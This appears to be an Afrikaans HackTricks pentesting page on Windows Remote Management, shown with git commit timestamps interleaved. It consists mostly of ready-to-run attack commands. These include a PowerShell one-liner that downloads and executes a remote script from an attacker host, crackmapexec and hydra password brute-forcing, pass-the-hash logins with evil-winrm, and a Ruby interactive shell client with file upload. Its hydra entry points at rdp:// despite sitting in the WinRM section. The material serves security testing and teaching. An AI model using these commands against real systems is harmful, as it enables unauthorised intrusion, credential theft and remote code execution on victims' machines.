hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

336 lines
16 KiB
Markdown
Raw Normal View History

2022-07-28 09:46:19 +00:00
# 5985,5986 - Pentesting WinRM
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-03 10:42:55 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
2023-02-27 09:28:45 +00:00
**Hacking-insigte**\
Tree in kontak met inhoud wat in die opwinding en uitdagings van hackery duik
2023-02-27 09:28:45 +00:00
**Haknuus in Werklikheid**\
Bly op hoogte van die snelveranderende hackery-wêreld deur werklike nuus en insigte
2023-07-14 15:03:41 +00:00
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
2023-07-14 15:03:41 +00:00
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
2022-10-27 23:22:18 +00:00
2022-07-28 09:46:19 +00:00
## WinRM
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) word uitgelig as 'n **protokol deur Microsoft** wat die **afgeleë bestuur van Windows-stelsels** deur HTTP(S) moontlik maak, waarby SOAP in die proses gebruik word. Dit word fundamenteel aangedryf deur WMI, wat ditself aanbied as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies.
Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afgeleë administrasie via PowerShell, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om vas te stel of WinRM operasioneel is, word aanbeveel om te kyk vir die oopmaak van spesifieke poorte:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
'n Oop poort van die lys hierbo beteken dat WinRM opgestel is, wat dus pogings toelaat om 'n afgeleë sessie te begin.
### **Inisieer 'n WinRM-sessie**
Om PowerShell te konfigureer vir WinRM, kom Microsoft se `Enable-PSRemoting` cmdlet in werking, wat die rekenaar opstel om afgeleë PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit moontlik te maak en enige gasheer as vertrou word te merk:
2024-02-08 21:36:35 +00:00
```powershell
2024-02-11 02:07:06 +00:00
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Hierdie benadering behels die byvoeging van 'n wildkaart na die `trustedhosts`-konfigurasie, 'n stap wat versigtige oorweging vereis as gevolg van sy implikasies. Daar word ook opgemerk dat dit moontlik nodig kan wees om die netwerk tipe van "Openbaar" na "Werk" te verander op die aanvaller se masjien.
Verder kan WinRM **afgeaktiveer word op afstand** deur die gebruik van die `wmic`-bevel, gedemonstreer soos volg:
2024-02-08 21:36:35 +00:00
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
Hierdie metode maak die afstandsopstelling van WinRM moontlik, wat die buigsaamheid in die bestuur van Windows-masjiene van ver af verbeter.
2024-02-08 21:36:35 +00:00
### Toets of gekonfigureer
Om die opstelling van jou aanvalsmasjien te verifieer, word die `Test-WSMan` bevel gebruik om te kontroleer of die teiken WinRM behoorlik gekonfigureer het. Deur hierdie bevel uit te voer, behoort jy besonderhede te ontvang oor die protokolweergawe en wsmid, wat 'n suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitset demonstreer vir 'n gekonfigureerde teiken teenoor 'n ongekonfigureerde een:
2024-02-08 21:36:35 +00:00
* Vir 'n teiken wat **wel** behoorlik gekonfigureer is, sal die uitset soortgelyk lyk aan die volgende:
2024-02-08 21:36:35 +00:00
```bash
Test-WSMan <target-ip>
```
Die respons behoort inligting te bevat oor die protokol weergawe en wsmid, wat aandui dat WinRM korrek opgestel is.
![](<../.gitbook/assets/image (582).png>)
* Omgekeerd, vir 'n teiken wat **nie** ingestel is vir WinRM nie, sou dit tot geen sulke gedetailleerde inligting lei nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon.
![](<../.gitbook/assets/image (458).png>)
2024-02-11 02:07:06 +00:00
### Voer 'n bevel uit
Om `ipconfig` op afstand op 'n teikenrekenaar uit te voer en die uitvoer te sien, doen die volgende:
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../.gitbook/assets/image (151).png>)
Jy kan ook **'n bevel van jou huidige PS-konsole uitvoer via** _**Invoke-Command**_. Veronderstel dat jy plaaslik 'n funksie genaamd _**enumeration**_ het en jy wil dit **op 'n afgeleë rekenaar uitvoer**, kan jy doen:
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### Voer 'n Skrip Uit
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Kry omgekeerde dopshell
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
2024-02-11 02:07:06 +00:00
### Kry 'n PS-sessie
Om 'n interaktiewe PowerShell-skul te kry, gebruik `Enter-PSSession`:
2022-09-26 12:02:10 +00:00
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
2022-10-30 16:20:17 +00:00
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
2024-02-11 02:07:06 +00:00
# Save session in var
2022-10-30 16:20:17 +00:00
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (1009).png>)
**Die sessie sal in 'n nuwe proses (wsmprovhost) hardloop binne die "slagoffer"**
### **WinRM Oopdwang**
Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie gekonfigureer nie, kan jy dit aktiveer met:
2024-02-08 21:36:35 +00:00
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
2024-02-11 02:07:06 +00:00
### Stoor en Herstel sessies
Dit sal nie werk as die taal beperk is op die afgeleë rekenaar nie.
2024-02-08 21:36:35 +00:00
```powershell
2022-09-26 12:02:10 +00:00
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
2022-09-25 22:00:52 +00:00
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
Binne hierdie sessies kan jy PS-skripte laai deur _Invoke-Command_ te gebruik.
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
2024-02-11 02:07:06 +00:00
### Foute
2024-02-11 02:07:06 +00:00
As jy die volgende fout vind:
`enter-pssession : Verbinding met afgeleë bediener 10.10.10.175 het misluk met die volgende foutboodskap : Die WinRM-klient kan nie die versoek verwerk nie. As die outentiseringskema verskil van Kerberos, of as die klient-rekenaar nie by 'n domein aangesluit is nie, moet HTTPS-vervoer gebruik word of die bestemmingsmasjien moet by die TrustedHosts-konfigurasie-instelling gevoeg word. Gebruik winrm.cmd om TrustedHosts te konfigureer. Let daarop dat rekenaars in die TrustedHosts-lys moontlik nie geoutentiseer word nie. Jy kan meer inligting daaroor kry deur die volgende bevel uit te voer: winrm help config. Vir meer inligting, sien die about_Remote_Troubleshooting Help-onderwerp.`
Die probeer op die klient (inligting van [hier](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
2023-02-27 09:28:45 +00:00
**Hack-insigte**\
Gaan aan met inhoud wat in die opwinding en uitdagings van hack betrokke is
2022-10-27 23:22:18 +00:00
**Hack-nuus in werklikheid**\
Bly op hoogte van die snelveranderende hackwêreld deur middel van werklike nuus en insigte
2023-02-27 09:28:45 +00:00
**Nuutste aankondigings**\
Bly ingelig oor die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
2023-07-14 15:03:41 +00:00
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
2022-10-27 23:22:18 +00:00
2024-02-11 02:07:06 +00:00
## WinRM-verbinding in Linux
2022-07-28 09:46:19 +00:00
### Brute Force
2020-09-20 21:44:41 +00:00
Wees versigtig, die kragtige krag van winrm kan gebruikers blokkeer.
2020-09-20 21:41:33 +00:00
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
2022-05-01 12:49:36 +00:00
# Username + Password + CMD command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
2022-05-01 12:49:36 +00:00
# Username + Hash + PS command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
2020-09-20 21:41:33 +00:00
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### Gebruik van kwaadwillige winrm
```ruby
gem install evil-winrm
```
2024-02-11 02:07:06 +00:00
Lees die **dokumentasie** op sy github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
Om kwaadwillige-winrm te gebruik om met 'n **IPv6-adres** te verbind, skep 'n inskrywing binnein _**/etc/hosts**_ wat 'n **domeinnaam** na die IPv6-adres instel en verbind met daardie domein.
### Gee die huts met kwaadwillige-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
![](<../.gitbook/assets/image (680).png>)
### Die gebruik van 'n PS-docker masjien
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Gebruik 'n ruby-skrip
**Kode onttrek van hier:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/)
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
2024-02-05 02:28:59 +00:00
# https://alamot.github.io/winrm_shell/
2024-02-11 02:07:06 +00:00
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
2024-02-11 02:07:06 +00:00
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
2024-02-11 02:07:06 +00:00
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
2022-07-28 09:46:19 +00:00
## Shodan
2020-10-05 21:51:08 +00:00
* `port:5985 Microsoft-HTTPAPI`
2020-10-05 21:51:08 +00:00
2024-02-11 02:07:06 +00:00
## Verwysings
2022-10-27 23:22:18 +00:00
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks Outomatiese Opdragte
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
2021-08-15 17:09:57 +00:00
Entry_1:
2024-02-11 02:07:06 +00:00
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
2021-08-15 17:09:57 +00:00
2024-02-11 02:07:06 +00:00
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
2021-08-15 17:09:57 +00:00
2024-02-11 02:07:06 +00:00
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
2021-08-15 17:09:57 +00:00
2024-02-11 02:07:06 +00:00
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
2021-08-15 17:09:57 +00:00
2024-02-11 02:07:06 +00:00
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
2021-08-15 17:09:57 +00:00
2024-02-11 02:07:06 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-winrm
2021-09-13 15:49:25 +00:00
Entry_2:
2024-02-11 02:07:06 +00:00
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
2023-07-14 15:03:41 +00:00
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
2022-10-27 23:22:18 +00:00
**Hack-insigte**\
Gaan aan met inhoud wat die opwinding en uitdagings van hack bekyk
2023-02-27 09:28:45 +00:00
**Hack Nuus in Werklikheid**\
Bly op hoogte van die snelveranderende hackwêreld deur werklikheidsnuus en insigte
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
2023-02-27 09:28:45 +00:00
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hack van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-03 10:42:55 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>